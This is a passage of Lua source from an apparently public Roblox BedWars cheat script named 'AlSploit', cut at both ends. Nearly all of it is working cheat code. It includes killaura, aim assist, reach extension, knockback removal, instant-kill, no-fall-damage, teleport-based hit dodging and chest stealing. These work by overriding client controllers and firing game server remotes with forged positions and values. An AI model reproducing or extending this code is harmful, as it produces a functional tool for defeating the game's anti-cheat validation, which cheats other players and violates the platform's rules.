local NoClickDelay = CombatTab:CreateToggle({
Name = "NoClickDelay",
Function = function()
if AlSploitSettings.NoClickDelay.Value == true then
OldIsClickingTooFast = BedwarsKnitControllers.SwordController.isClickingTooFast
BedwarsKnitControllers.SwordController.isClickingTooFast = function(self)
self.lastSwing = tick()
return false
end
end
if AlSploitSettings.NoClickDelay.Value == false then
BedwarsKnitControllers.SwordController.isClickingTooFast = OldIsClickingTooFast
end
end,
HoverText = "Removes The Delay While Clicking 💾"
})
end
end)
task.spawn(function()
if BedwarsKnitControllers.SwordController then
local Autoclicker = CombatTab:CreateToggle({
Name = "Autoclicker",
Function = function()
repeat
task.wait(1 / AlSploitSettings.Autoclicker.Cps.Value)
BedwarsKnitControllers.SwordController:swingSwordAtMouse((1 / AlSploitSettings.Autoclicker.Cps.Value) + 0.01)
until shared.AlSploitUnInjected == true or AlSploitSettings.Autoclicker.Value == false
end,
HoverText = "Clicks At The Desired Speed 🖱️"
})
local Cps = Autoclicker:CreateSlider({
Name = "Cps",
Function = function() end,
MaximumValue = 100,
DefaultValue = 20
})
end
end)
task.spawn(function()
local InstantKill = CombatTab:CreateToggle({
Name = "InstantKill",
Function = function()
repeat
task.wait(1 / AlSploitSettings.InstantKill.Speed.Value)
if IsAlive(LocalPlayer) == true then
local NearestEntity = FindNearestEntity(18, true)
if GetMatchState() ~= 0 and NearestEntity then
if AlSploitSettings.InstantKill.Method.InfernalSaber.Value == true then
local InfernalSaber = HasItem("infernal_saber")
if InfernalSaber then
BedwarsRemotes.HellBladeReleaseRemote:FireServer({chargeTime = 1.2, player = LocalPlayer, weapon = InfernalSaber})
end
end
if AlSploitSettings.InstantKill.Method.SkyScythe.Value == true then
local SkyScythe = HasItem("sky_scythe")
if SkyScythe then
BedwarsRemotes.SkyScytheSpinRemote:FireServer()
end
end
end
end
until AlSploitSettings.InstantKill.Value == false or shared.AlSploitUnInjected == true
end,
HoverText = "Kills The Enemies Instantly 🔥 (Infernal Saber / Sky Scythe Needed)"
})
InstantKill:CreateSlider({
Name = "Speed",
Function = function() end,
MaximumValue = 10,
DefaultValue = 10
})
local Method = InstantKill:CreateDropdown({
Name = "Method",
Function = function() end,
HoverText = "Pick What Method You Want The InstantKill To Be 🗡"
})
Method:CreateToggle({
Name = "InfernalSaber",
Function = function() end,
DefaultValue = true
})
Method:CreateToggle({
Name = "SkyScythe",
Function = function() end,
DefaultValue = true
})
end)
task.spawn(function()
local AimAssist = CombatTab:CreateToggle({
Name = "AimAssist",
Function = function()
repeat
task.wait()
if IsAlive(LocalPlayer) == true and GetMatchState() ~= 0 then
local NearestPlayer = FindNearestPlayer(AlSploitSettings.AimAssist.Range.Value)
local NearestEntity = FindNearestEntity(AlSploitSettings.AimAssist.Range.Value, false)
if NearestPlayer or NearestEntity then
local NearestEntityPrimaryPart = (AlSploitSettings.AimAssist.FaceMobs.Value == true and (NearestEntity and NearestEntity.PrimaryPart or nil) or (NearestPlayer and NearestPlayer.Character.PrimaryPart or nil))
if not NearestEntityPrimaryPart then
return
end
local LookVector = (NearestEntityPrimaryPart.Position - Camera.CFrame.Position).Unit
Camera.CFrame = CFrame.new(Camera.CFrame.Position, (Camera.CFrame.Position + LookVector))
end
end
until shared.AlSploitUnInjected == true or AlSploitSettings.AimAssist.Value == false
end,
HoverText = "Makes Your Camera Face The Disered Entity 👁️"
})
AimAssist:CreateToggle({
Name = "FaceMobs",
Function = function() end,
DefaultValue = false
})
AimAssist:CreateSlider({
Name = "Range",
Function = function() end,
MaximumValue = 19,
DefaultValue = 19
})
end)
task.spawn(function()
local Velocity = CombatTab:CreateToggle({
Name = "Velocity",
Function = function()
if AlSploitSettings.Velocity.Value == true then
local Horizontal = BedwarsUtilities.KnockbackUtil.ogvals.dirStrength
local Vertical = BedwarsUtilities.KnockbackUtil.ogvals.upwardStrength
BedwarsUtilities.KnockbackUtil.applyKnockback(Horizontal * (AlSploitSettings.Velocity.Horizontal.Value / 100), Vertical * (AlSploitSettings.Velocity.Vertical.Value / 100))
end
if AlSploitSettings.Velocity.Value == false then
BedwarsUtilities.KnockbackUtil.applyKnockback(BedwarsUtilities.KnockbackUtil.ogvals.dirStrength, BedwarsUtilities.KnockbackUtil.ogvals.upwardStrength)
end
end,
HoverText = "Changes The Knockback Direction, 100 Being Normal Value 🛸"
})
local Horizontal = Velocity:CreateSlider({
Name = "Horizontal",
Function = function() end,
MaximumValue = 100,
DefaultValue = 0
})
local Vertical = Velocity:CreateSlider({
Name = "Vertical",
Function = function() end,
MaximumValue = 100,
DefaultValue = 0
})
UnInjectEvent.Event:Connect(function()
BedwarsUtilities.KnockbackUtil.applyKnockback(BedwarsUtilities.KnockbackUtil.ogvals.dirStrength, BedwarsUtilities.KnockbackUtil.ogvals.upwardStrength)
end)
end)
task.spawn(function()
local SelectedAnimation = nil
local ParticleEffect
local KillauraBox
local KillAuraAnimationCooldown = false
local KillauraAnimations = {
AlSploitHeartbeat = {
{CFrame = CFrame.new(0.2, 0, -1.3) * CFrame.Angles(math.rad(100), math.rad(100), math.rad(130)), Time = 0.15},
{CFrame = CFrame.new(0, -0.2, -1.7) * CFrame.Angles(math.rad(40), math.rad(111), math.rad(180)), Time = 0.15}
},
AlSploitClassic = {
{CFrame = CFrame.new(0.2, 0, -1.3) * CFrame.Angles(math.rad(111), math.rad(111), math.rad(130)), Time = 0.17},
{CFrame = CFrame.new(0, -0.2, -1.7) * CFrame.Angles(math.rad(30), math.rad(111), math.rad(190)), Time = 0.17}
},
AlSploitOld = {
{CFrame = CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(220), math.rad(100), math.rad(100)),Time = 0.25},
{CFrame = CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), Time = 0.25}
},
Neutral = {
{CFrame = CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), Time = 0.05},
}
}
local function SwordHit(Entity, Weapon, NearestEntityDistance)
task.spawn(function()
if AlSploitSettings.Killaura.CustomAnimation.Value == true and KillAuraAnimationCooldown == false then
KillAuraAnimationCooldown = true
PlayAnimation(KillauraAnimations[SelectedAnimation])
KillAuraAnimationCooldown = false
end
end)
task.spawn(function()
if (not Weapon or not Entity or IsAlive(LocalPlayer) == false or AlSploitSettings.Killaura.ParticleEffect.Value == false) and ParticleEffect then
pcall(function()
ParticleEffect:Destroy()
ParticleEffect = nil
end)
end
if (not Weapon or not Entity or IsAlive(LocalPlayer) == false or AlSploitSettings.Killaura.ParticleEffect.Value == false) and KillauraBox then
pcall(function()
KillauraBox:Destroy()
KillauraBox = nil
end)
end
if AlSploitSettings.Killaura.ParticleEffect.Value == true and not ParticleEffect and Entity then
ParticleEffect = Instance.new("Part")
ParticleEffect.Parent = WorkSpace
ParticleEffect.Name = "ParticleEffect"
ParticleEffect.Transparency = 1
ParticleEffect.CanCollide = false
ParticleEffect.Anchored = true
ParticleEffect.Size = Vector3.new(3.63, 4.27, 0.001)
local ParticleEmitter = Instance.new("ParticleEmitter")
ParticleEmitter.Parent = ParticleEffect
ParticleEmitter.Name = "ParticleEmitter"
ParticleEmitter.EmissionDirection = Enum.NormalId.Front
ParticleEmitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0,0),NumberSequenceKeypoint.new(0.5,0.125,0),NumberSequenceKeypoint.new(1,0.5499999523162842,0)})
ParticleEmitter.Brightness = 1
ParticleEmitter.Lifetime = NumberRange.new(0.75, 1.75)
ParticleEmitter.Texture = "rbxassetid://98715730126785"
ParticleEmitter.Color = ColorSequence.new({ColorSequenceKeypoint.new(0,Color3.new(113/255,4/85,1)),ColorSequenceKeypoint.new(1,Color3.new(113/255,4/85,1))})
ParticleEmitter.Speed = NumberRange.new(3)
ParticleEmitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0,0.6,0),NumberSequenceKeypoint.new(1,0,0)})
ParticleEmitter.Rate = 23
end
if AlSploitSettings.Killaura.ShowEnemy.Value == true and not KillauraBox and Entity then
KillauraBox = Instance.new("Part")
KillauraBox.Parent = WorkSpace
KillauraBox.Name = "KillauraBox"
KillauraBox.Transparency = 0.6
KillauraBox.CanCollide = false
KillauraBox.CanQuery = false
KillauraBox.Anchored = true
KillauraBox.Material = Enum.Material.SmoothPlastic
KillauraBox.CFrame = Entity.PrimaryPart.CFrame
local ColorSplit = string.split(AlSploitSettings.Killaura.TargetBoxColor.Value, ",")
local R = ColorSplit[1]
local G = ColorSplit[2]
local B = ColorSplit[3]
KillauraBox.Color = Color3.new(R, G, B)
KillauraBox.Size = Vector3.new(4, 6, 4)
end
if ParticleEffect then
ParticleEffect.CFrame = (Entity.PrimaryPart.CFrame - (Entity.PrimaryPart.CFrame.LookVector * 1.2))
end
if KillauraBox then
KillauraBox.CFrame = Entity.PrimaryPart.CFrame
local ColorSplit = string.split(AlSploitSettings.Killaura.TargetBoxColor.Value, ",")
local R = ColorSplit[1]
local G = ColorSplit[2]
local B = ColorSplit[3]
KillauraBox.Color = Color3.new(R, G, B)
end
end)
local LookVector = LocalPlayer.Character.PrimaryPart.CFrame.LookVector
local Unit = (Entity.PrimaryPart.Position - LocalPlayer.Character.PrimaryPart.Position).Unit
local Angle = math.acos(Unit:Dot(LookVector))
if Angle > math.rad((AlSploitSettings.Killaura.Angle.Value / 2)) then
return
end
local RaycastParameters = RaycastParams.new()
RaycastParameters.FilterDescendantsInstances = {CollectionServiceBlocks}
RaycastParameters.FilterType = Enum.RaycastFilterType.Include
local Raycast = WorkSpace:Raycast(LocalPlayer.Character.PrimaryPart.Position, Entity.PrimaryPart.Position, RaycastParameters)
if AlSploitSettings.Killaura.WallCheck.Value == true and (Raycast and Raycast.Position or true) then
return
end
if AlSploitSettings.Killaura.Exeptions.MouseDown.Value == true and UserInputService:IsMouseButtonPressed(Enum.UserInputType.MouseButton1) == false then
return
end
if AlSploitSettings.Killaura.Exeptions.GuiClosed.Value == true and ContainerFrame.Visible == true then
return
end
task.spawn(function()
if AlSploitSettings.Killaura.SwitchToWeapon.Value == true and Weapon then
SwitchItem(Weapon.tool)
end
end)
local LocalPlayerHumanoidRootPart = LocalPlayer.Character.HumanoidRootPart
local EntityPrimaryPart = Entity.PrimaryPart
local Magnitude = (LocalPlayerHumanoidRootPart.Position - EntityPrimaryPart.Position).Magnitude
local MouseRay = Ray.new(Camera.CFrame.Position, Entity.PrimaryPart.Position).Unit.Direction
local LookVector = CFrame.lookAt(LocalPlayerHumanoidRootPart.Position, EntityPrimaryPart.Position).LookVector
local SelfPosition = ((math.max(Magnitude - 14.39999, 0) * LookVector) + LocalPlayer.Character.PrimaryPart.Position)
task.spawn(function()
if Weapon then
BedwarsRemotes.SwordHitRemote:FireServer({
weapon = Weapon.tool,
chargedAttack = {chargeRatio = 0},
entityInstance = Entity,
validate = {
raycast = {
cameraPosition = {value = LocalPlayerHumanoidRootPart.Position},
cursorDirection = {value = CFrame.new(SelfPosition, EntityPrimaryPart.Position).lookVector}
},
targetPosition = {value = EntityPrimaryPart.Position},
selfPosition = {value = SelfPosition}
}
})
end
end)
task.spawn(function()
BedwarsRemotes.SummonerClawAttackRequestRemote:FireServer({clientTime = tick(), direction = LocalPlayer.Character.PrimaryPart.CFrame.LookVector, position = LocalPlayer.Character.PrimaryPart.Position})
end)
end
local Killaura = CombatTab:CreateToggle({
Name = "Killaura",
Function = function() end,
HoverText = "Automatically Hits Entities For You 🎯"
})
local CustomAnimation = Killaura:CreateToggle({
Name = "CustomAnimation",
Function = function() end,
DefaultValue = true
})
local ParticleEffect = Killaura:CreateToggle({
Name = "ParticleEffect",
Function = function() end,
DefaultValue = true
})
local SwitchToWeapon = Killaura:CreateToggle({
Name = "SwitchToWeapon",
Function = function() end,
DefaultValue = true
})
local ShowEnemy = Killaura:CreateToggle({
Name = "ShowEnemy",
Function = function() end,
DefaultValue = true
})
local WallCheck = Killaura:CreateToggle({
Name = "WallCheck",
Function = function() end,
DefaultValue = false
})
local HitChance = Killaura:CreateSlider({
Name = "HitChance",
Function = function() end,
DefaultValue = 100,
MaximumValue = 100
})
local Speed = Killaura:CreateSlider({
Name = "Speed",
Function = function() end,
DefaultValue = 100,
MaximumValue = 100
})
local Range = Killaura:CreateSlider({
Name = "Range",
Function = function() end,
DefaultValue = 18,
MaximumValue = 30
})
local Angle = Killaura:CreateSlider({
Name = "Angle",
Function = function() end,
DefaultValue = 360,
MaximumValue = 360
})
local Exeptions = Killaura:CreateDropdown({
Name = "Exeptions",
HoverText = "What Is Required For Killaura To Work"
})
local MouseDown = Exeptions:CreateToggle({
Name = "MouseDown",
Function = function() end,
DefaultValue = false
})
local GuiClosed = Exeptions:CreateToggle({
Name = "GuiClosed",
Function = function() end,
DefaultValue = false
})
local Animations = Killaura:CreateDropdown({
Name = "Animations",
HoverText = "Pick The Animation Of Your Choice"
})
local AlSploitClassic = Animations:CreateToggle({
Name = "AlSploitHeartbeat",
Function = function()
if AlSploitSettings.Killaura.Animations.AlSploitHeartbeat.Value == true then
SelectedAnimation = "AlSploitHeartbeat"
end
end,
DefaultValue = false
})
local AlSploitClassic = Animations:CreateToggle({
Name = "AlSploitClassic",
Function = function()
if AlSploitSettings.Killaura.Animations.AlSploitClassic.Value == true then
SelectedAnimation = "AlSploitClassic"
end
end,
DefaultValue = true
})
local AlSploitClassic = Animations:CreateToggle({
Name = "AlSploitOld",
Function = function()
if AlSploitSettings.Killaura.Animations.AlSploitOld.Value == true then
SelectedAnimation = "AlSploitOld"
end
end,
DefaultValue = false
})
local TargetBoxColor = Killaura:CreateColorSlider({
Name = "TargetBoxColor",
Function = function() end,
DefaultValue = Color3.new(1, 0.278431, 0.290196)
})
AlSploitConnections["KillauraConnection"] = RunService.Heartbeat:Connect(function()
local HitChance = (AlSploitSettings.Killaura.HitChance.Value == 100 and 1 or math.random(1, (100 / AlSploitSettings.Killaura.HitChance.Value)))
if IsAlive(LocalPlayer) == true and GetMatchState() ~= 0 and HitChance == 1 and AlSploitSettings.Killaura.Value == true then
local NearestEntity, NearestEntityDistance = FindNearestEntity(AlSploitSettings.Killaura.Range.Value, true)
local HighestDamage, Sword = GetBestSword(LocalPlayer)
task.spawn(function()
if Sword and Sword.tool and not NearestEntity or AlSploitSettings.Killaura.Value == false then
PlayAnimation(KillauraAnimations.Neutral)
end
end)
task.spawn(function()
if NearestEntity and AlSploitSettings.Killaura.Value == true then
SwordHit(NearestEntity, Sword, NearestEntityDistance)
end
if not Sword or not NearestEntity or IsAlive(LocalPlayer) == false or AlSploitSettings.Killaura.ParticleEffect.Value == false then
pcall(function()
ParticleEffect:Destroy()
ParticleEffect = nil
end)
end
if not Sword or not NearestEntity or IsAlive(LocalPlayer) == false or AlSploitSettings.Killaura.ParticleEffect.Value == false then
pcall(function()
KillauraBox:Destroy()
KillauraBox = nil
end)
end
end)
end
end)
UnInjectEvent.Event:Connect(function()
if ParticleEffect then
ParticleEffect:Destroy()
end
if KillauraBox then
KillauraBox:Destroy()
end
end)
end)
task.spawn(function()
local AntiHit = CombatTab:CreateToggle({
Name = "AntiHit",
Function = function()
repeat
task.wait()
if IsAlive(LocalPlayer) == true and GetMatchState() ~= 0 and AlSploitSettings.AntiHit.Value == true and AlSploitSettings.InfiniteFly.Value == false then
local NearestPlayer = FindNearestPlayer(AlSploitSettings.AntiHit.Range.Value)
local NearestEntity = FindNearestEntity(AlSploitSettings.AntiHit.Range.Value, false)
if NearestPlayer then
local Clone = CreateClone(true)
LocalPlayer.Character.PrimaryPart.CFrame = (LocalPlayer.Character.PrimaryPart.CFrame + Vector3.new(0, 10000, 0))
task.spawn(function()
repeat
task.wait()
if IsAlive(LocalPlayer) == true and Clone then
Clone.PrimaryPart.Position = Vector3.new(LocalPlayer.Character.PrimaryPart.Position.X, Clone.PrimaryPart.Position.Y, LocalPlayer.Character.PrimaryPart.Position.Z)
end
until AlSploitSettings.AlSploitUnInjected == true or AlSploitSettings.AntiHit.Value == false or AlSploitSettings.InfiniteFly.Value == true
end)
task.wait(1 / math.random(AlSploitSettings.AntiHit.Speed.Value / 1.3, AlSploitSettings.AntiHit.Speed.Value))
if IsAlive(LocalPlayer) == true then
LocalPlayer.Character.PrimaryPart.Velocity = Vector3.new(LocalPlayer.Character.PrimaryPart.Velocity.X, -1, LocalPlayer.Character.PrimaryPart.Velocity.Z)
LocalPlayer.Character.PrimaryPart.CFrame = Clone.PrimaryPart.CFrame
Camera.CameraSubject = LocalPlayer.Character
Clone:Destroy()
end
task.wait(0.1)
end
if NearestEntity and not NearestPlayer and AlSploitSettings.AntiHitEntities == true then
local Clone = CreateClone()
LocalPlayer.Character.PrimaryPart.CFrame = LocalPlayer.Character.PrimaryPart.CFrame + Vector3.new(0, 50, 0)
task.spawn(function()
repeat
task.wait()
if IsAlive(LocalPlayer) == true and Clone then
Clone.PrimaryPart.Position = Vector3.new(LocalPlayer.Character.PrimaryPart.Position.X, Clone.PrimaryPart.Position.Y, LocalPlayer.Character.PrimaryPart.Position.Z)
end
until AlSploitSettings.AlSploitUnInjected == true or AlSploitSettings.AntiHit.Value == false or AlSploitSettings.InfiniteFly.Value == true
end)
task.wait(1 / AlSploitSettings.AntiHit.Speed.Value)
if IsAlive(LocalPlayer) == true then
LocalPlayer.Character.PrimaryPart.Velocity = Vector3.new(LocalPlayer.Character.PrimaryPart.Velocity.X, -1, LocalPlayer.Character.PrimaryPart.Velocity.Z)
LocalPlayer.Character.PrimaryPart.CFrame = Clone.PrimaryPart.CFrame
Camera.CameraSubject = LocalPlayer.Character
Clone:Destroy()
end
task.wait(0.3)
end
end
until shared.AlSploitUnInjected == true or AlSploitSettings.AntiHit.Value == false
end,
HoverText = "Makes You Dodge The Attacks 🏃 (Works Better With NoFallDamage)"
})
AntiHit:CreateToggle({
Name = "AntiHitEntities",
Function = function() end,
DefaultValue = false
})
AntiHit:CreateSlider({
Name = "Speed",
Function = function() end,
MaximumValue = 10,
DefaultValue = 10
})
AntiHit:CreateSlider({
Name = "Range",
Function = function() end,
MaximumValue = 19,
DefaultValue = 19
})
end)
task.spawn(function()
local OldSwingSwordAtMouse
local OldReach = BedwarsConstants.CombatConstant.RAYCAST_SWORD_CHARACTER_DISTANCE
local Reach = CombatTab:CreateToggle({
Name = "Reach",
Function = function()
task.spawn(function()
repeat
task.wait()
if IsAlive(LocalPlayer) == true then
local NearestEntity, NearestEntityDistance = FindNearestEntity(AlSploitSettings.Killaura.Range.Value, true)
if NearestEntity then
BedwarsConstants.CombatConstant.RAYCAST_SWORD_CHARACTER_DISTANCE = (NearestEntityDistance + 2)
end
end
until shared.AlSploitUnInjected == true or AlSploitSettings.Reach.Value == false
BedwarsConstants.CombatConstant.RAYCAST_SWORD_CHARACTER_DISTANCE = OldReach
end)
task.spawn(function()
if AlSploitSettings.Reach.Value == true and BedwarsKnitControllers.SwordController then
OldSwingSwordAtMouse = BedwarsKnitControllers.SwordController.swingSwordAtMouse
BedwarsKnitControllers.SwordController.swingSwordAtMouse = function(Enabled, LastSwing, BufferedMobileAttack, ...)
BufferedMobileAttack = true
return OldSwingSwordAtMouse(Enabled, LastSwing, BufferedMobileAttack, ...)
end
end
if AlSploitSettings.Reach.Value == false then
BedwarsKnitControllers.SwordController.swingSwordAtMouse = OldSwingSwordAtMouse
end
end)
end,
HoverText = "Increases Reach 👾"
})
UnInjectEvent.Event:Connect(function()
if BedwarsKnitControllers.SwordController then
BedwarsKnitControllers.SwordController.swingSwordAtMouse = OldSwingSwordAtMouse
end
end)
end)
task.spawn(function()
local JadeHammerExploit = BlatantTab:CreateToggle({
Name = "JadeHammerExploit",
Function = function()
repeat
task.wait(1 / AlSploitSettings.JadeHammerExploit.SpamSpeed.Value)
if IsAlive(LocalPlayer) == true and GetMatchState() ~= 0 then
if HasItem("jade_hammer") and (tick() - JadeHammerTick) > 6 then
JadeHammerTick = tick()
BedwarsControllers.AbilityController:useAbility("jade_hammer_jump")
end
end
until AlSploitSettings.JadeHammerExploit.Value == false or shared.AlSploitUnInjected == true
end,
HoverText = "Auto Uses The Hammer To Reach High Speeds 🏎️"
})
JadeHammerExploit:CreateSlider({
Name = "SpamSpeed",
Function = function() end,
MaximumValue = 100,
DefaultValue = 100
})
end)
task.spawn(function()
local OldBlockPlaceCPS = BedwarsConstants.CPSConstants.BLOCK_PLACE_CPS
local NoPlacementCPS = BlatantTab:CreateToggle({
Name = "NoPlacementCPS",
Function = function()
if AlSploitSettings.NoPlacementCPS.Value == true then
BedwarsConstants.CPSConstants.BLOCK_PLACE_CPS = math.huge
end
if AlSploitSettings.NoPlacementCPS.Value == false then
BedwarsConstants.CPSConstants.BLOCK_PLACE_CPS = OldBlockPlaceCPS
end
end,
HoverText = "Removes The Block Placement Cps ⛏️"
})
UnInjectEvent.Event:Connect(function()
BedwarsConstants.CPSConstants.BLOCK_PLACE_CPS = OldBlockPlaceCPS
end)
end)
task.spawn(function()
local NoFallDamage = BlatantTab:CreateToggle({
Name = "NoFallDamage",
Function = function()
repeat
task.wait(0.1)
if IsAlive(LocalPlayer) == true and AlSploitSettings.Fly.Value == false then
local NearestBlock = FindNearestBlock()
if NearestBlock then
local Velocity = LocalPlayer.Character.PrimaryPart.Velocity
if (Velocity.Y < -50) and IsTouchingGround(LocalPlayer, -30) then
LocalPlayer.Character.PrimaryPart.Velocity = Vector3.new(Velocity.X, math.clamp(Velocity.Y, -50, math.huge), Velocity.Z)
end
BedwarsRemotes.GroundHitRemote:FireServer(NearestBlock, Velocity, WorkSpace:GetServerTimeNow())
end
end
until shared.AlSploitUnInjected or AlSploitSettings.NoFallDamage.Value == false
end,
HoverText = "Prevents You From Taking Fall Damage 💪"
})
end)
task.spawn(function()
local DamageBoost = BlatantTab:CreateToggle({
Name = "DamageBoost",
Function = function() end,
HoverText = "Boosts Your Speed While Being Damaged 🎢"
})
BedwarsFunctions.EntityDamageEventZap.On(function(Player, Damage)
if IsAlive(LocalPlayer) == true and Player.Name == LocalPlayer.Name and Damage > 4 and GetMatchState() ~= 0 and AlSploitSettings.DamageBoost.Value == true and shared.AlSploitUnInjected == false and AlSploitInjected == true and AlSploitSettings.Fly.Value == false then
DamageBoostValue = true
task.wait(0.6)
DamageBoostValue = false
end
end)
end)
task.spawn(function()
local InfiniteJump = BlatantTab:CreateToggle({
Name = "InfiniteJump",
Function = function()
if AlSploitSettings.InfiniteJump.Value == true then
AlSploitConnections["InfiniteJumpConnection"] = UserInputService.JumpRequest:Connect(function()
if shared.AlSploitUnInjected == false and IsAlive(LocalPlayer) == true and AlSploitSettings.InfiniteFly.Value == false and AlSploitSettings.Fly.Value == false then
LocalPlayer.Character.Humanoid:ChangeState("Jumping")
end
end)
end
if AlSploitSettings.InfiniteJump.Value == false and AlSploitConnections["InfiniteJumpConnection"] then
AlSploitConnections["InfiniteJumpConnection"]:Disconnect()
end
end,
HoverText = "Allows You To Jump Without A Cooldown 🦘"
})
end)
task.spawn(function()
local ChestStealer = BlatantTab:CreateToggle({
Name = "ChestStealer",
Function = function()
repeat
task.wait(0.1)
if IsAlive(LocalPlayer) == true then
local NearestChest = FindNearestChest(AlSploitSettings.ChestStealer.Range.Value)
if NearestChest then
local Chestitems = NearestChest:FindFirstChild("ChestFolderValue").Value:GetChildren()
BedwarsRemotes.SetObservedChestRemote:FireServer("BlockChest")
for i2, v2 in next, Chestitems do
if v2:IsA("Accessory") then
BedwarsRemotes.ChestGetItemRemote:InvokeServer(NearestChest:FindFirstChild("ChestFolderValue").Value, v2)
end
end
BedwarsRemotes.SetObservedChestRemote:FireServer(nil)
end
end
until shared.AlSploitUnInjected == true or AlSploitSettings.ChestStealer.Value == false
end,
HoverText = "Steals Items From Chests 💀"
})
ChestStealer:CreateSlider({
Name = "Range",
Function = function() end,
MaximumValue = 30,
DefaultValue = 30
})
end)
task.spawn(function()
local EnemyMoveDirection = "Nil"
local Angle = 0
local TargetStrafePart = Instance.new("Part")
TargetStrafePart.Parent = WorkSpace
TargetStrafePart.Name = "TargetStrafePart"
TargetStrafePart.Transparency = 0.5
TargetStrafePart.CanCollide = false
TargetStrafePart.Anchored = true
local function CheckMovementDirection(Player, Entity)
if Entity == false then
local OriginalPosition = Vector3.new(DecimalRound(Player.Character.PrimaryPart.Position.X, 3), DecimalRound(Player.Character.PrimaryPart.Position.Y, 3), DecimalRound(Player.Character.PrimaryPart.Position.Z, 3))
local BackwardPosition = (OriginalPosition - (Player.Character.PrimaryPart.CFrame.LookVector * 3))
local ForwardPosition = (OriginalPosition + (Player.Character.PrimaryPart.CFrame.LookVector * 3))
task.wait(0.05)
if IsAlive(Player) == true then
local NewPosition = Vector3.new(DecimalRound(Player.Character.PrimaryPart.Position.X, 3), DecimalRound(Player.Character.PrimaryPart.Position.Y, 3), DecimalRound(Player.Character.PrimaryPart.Position.Z, 3))
local BackwardMagnitude = (NewPosition - BackwardPosition).Magnitude
local ForwardMagnitude = (NewPosition - ForwardPosition).Magnitude
local MoveDirection = ((BackwardMagnitude == ForwardMagnitude and "Stayed") or (BackwardMagnitude > ForwardMagnitude and "Forward") or (BackwardMagnitude < ForwardMagnitude and "Backward"))
return MoveDirection
end
if IsAlive(Player) == false then
return "Nil"
end
end
if Entity == true then
local OriginalPosition = Vector3.new(DecimalRound(Entity.PrimaryPart.Position.X, 3), DecimalRound(Entity.PrimaryPart.Position.Y, 3), DecimalRound(Entity.PrimaryPart.Position.Z, 3))
local BackwardPosition = (OriginalPosition - (Player.Character.PrimaryPart.CFrame.LookVector * 3))
local ForwardPosition = (OriginalPosition + (Player.Character.PrimaryPart.CFrame.LookVector * 3))
task.wait(0.05)
if Entity then
local NewPosition = Vector3.new(DecimalRound(Entity.PrimaryPart.Position.X, 3), DecimalRound(Entity.PrimaryPart.Position.Y, 3), DecimalRound(Entity.PrimaryPart.Position.Z, 3))
local BackwardMagnitude = (NewPosition - BackwardPosition).Magnitude
local ForwardMagnitude = (NewPosition - ForwardPosition).Magnitude
local MoveDirection = ((BackwardMagnitude == ForwardMagnitude and "Stayed") or (BackwardMagnitude > ForwardMagnitude and "Forward") or (BackwardMagnitude < ForwardMagnitude and "Backward"))
return MoveDirection
end
if not Entity then
return "Nil"
end
end
end
local TargetStrafe = BlatantTab:CreateToggle({
Name = "TargetStrafe",
Function = function()
repeat
task.wait()
if IsAlive(LocalPlayer) == true and GetMatchState() ~= 0 then
local NearestPlayer, NearestPlayerDistance = FindNearestPlayer((AlSploitSettings.TargetStrafe.Range.Value + 4))
local NearestEntity, NearestEntityDistance = FindNearestEntity((AlSploitSettings.TargetStrafe.Range.Value + 4), false)
if AlSploitSettings.TargetStrafe.StrafeMode["1v1"].Value == true then
if NearestPlayer or NearestEntity then
task.spawn(function()
EnemyMoveDirection = CheckMovementDirection(NearestPlayer, false)
end)
local NearestEntityPrimaryPart
task.spawn(function()
NearestEntityPrimaryPart = (AlSploitSettings.TargetStrafe.TargetMobs.Value == true and (NearestEntity and NearestEntity.PrimaryPart or nil) or (NearestPlayer and NearestPlayer.Character.PrimaryPart or nil))
end)
if NearestEntityPrimaryPart and EnemyMoveDirection == "Backward" then
local LocalPlayerPrimaryPart = LocalPlayer.Character.PrimaryPart
Angle = (Angle + 0.075)
local X = (math.cos(Angle) * AlSploitSettings.TargetStrafe.Range.Value)
local Z = (math.sin(Angle) * AlSploitSettings.TargetStrafe.Range.Value)
local TargetPosition = Vector3.new((NearestEntityPrimaryPart.Position.X + X), NearestEntityPrimaryPart.Position.Y, (NearestEntityPrimaryPart.Position.Z + Z))
local RaycastParameters = RaycastParams.new()
RaycastParameters.FilterDescendantsInstances = {CollectionServiceBlocks}
RaycastParameters.FilterType = Enum.RaycastFilterType.Include
local Raycast = WorkSpace:Raycast(TargetPosition, Vector3.new(0, -1000, 0), RaycastParameters)
if Raycast and Raycast.Position then
local Velocity = ((TargetPosition - LocalPlayerPrimaryPart.Position).Unit * 23)
LocalPlayerPrimaryPart.Velocity = Velocity
end
end
if NearestEntityPrimaryPart and EnemyMoveDirection == "Forward" or EnemyMoveDirection == "Stayed" then
local LocalPlayerPrimaryPart = LocalPlayer.Character.PrimaryPart
Angle = (Angle + 0.075)
local X = (math.cos(Angle) * (AlSploitSettings.TargetStrafe.Range.Value + 2))
local Z = (math.sin(Angle) * (AlSploitSettings.TargetStrafe.Range.Value + 2))
local TargetPosition = Vector3.new((NearestEntityPrimaryPart.Position.X + X), NearestEntityPrimaryPart.Position.Y, (NearestEntityPrimaryPart.Position.Z + Z))
local RaycastParameters = RaycastParams.new()
RaycastParameters.FilterDescendantsInstances = {CollectionServiceBlocks}
RaycastParameters.FilterType = Enum.RaycastFilterType.Include
local Raycast = WorkSpace:Raycast(TargetPosition, Vector3.new(0, -1000, 0), RaycastParameters)
if Raycast and Raycast.Position then
local Velocity = ((TargetPosition - LocalPlayerPrimaryPart.Position).Unit * 23)
LocalPlayerPrimaryPart.Velocity = Velocity
end
end
end
end
if AlSploitSettings.TargetStrafe.StrafeMode.Normal.Value == true then
local NearestEntityPrimaryPart
task.spawn(function()
NearestEntityPrimaryPart = (AlSploitSettings.TargetStrafe.TargetMobs.Value == true and (NearestEntity and NearestEntity.PrimaryPart or nil) or (NearestPlayer and NearestPlayer.Character.PrimaryPart or nil))
end)
if NearestEntityPrimaryPart then
local LocalPlayerPrimaryPart = LocalPlayer.Character.PrimaryPart
Angle = (Angle + 0.075)
local X = (math.cos(Angle) * AlSploitSettings.TargetStrafe.Range.Value)
local Z = (math.sin(Angle) * AlSploitSettings.TargetStrafe.Range.Value)
local TargetPosition = Vector3.new((NearestEntityPrimaryPart.Position.X + X), NearestEntityPrimaryPart.Position.Y, (NearestEntityPrimaryPart.Position.Z + Z))
local RaycastParameters = RaycastParams.new()
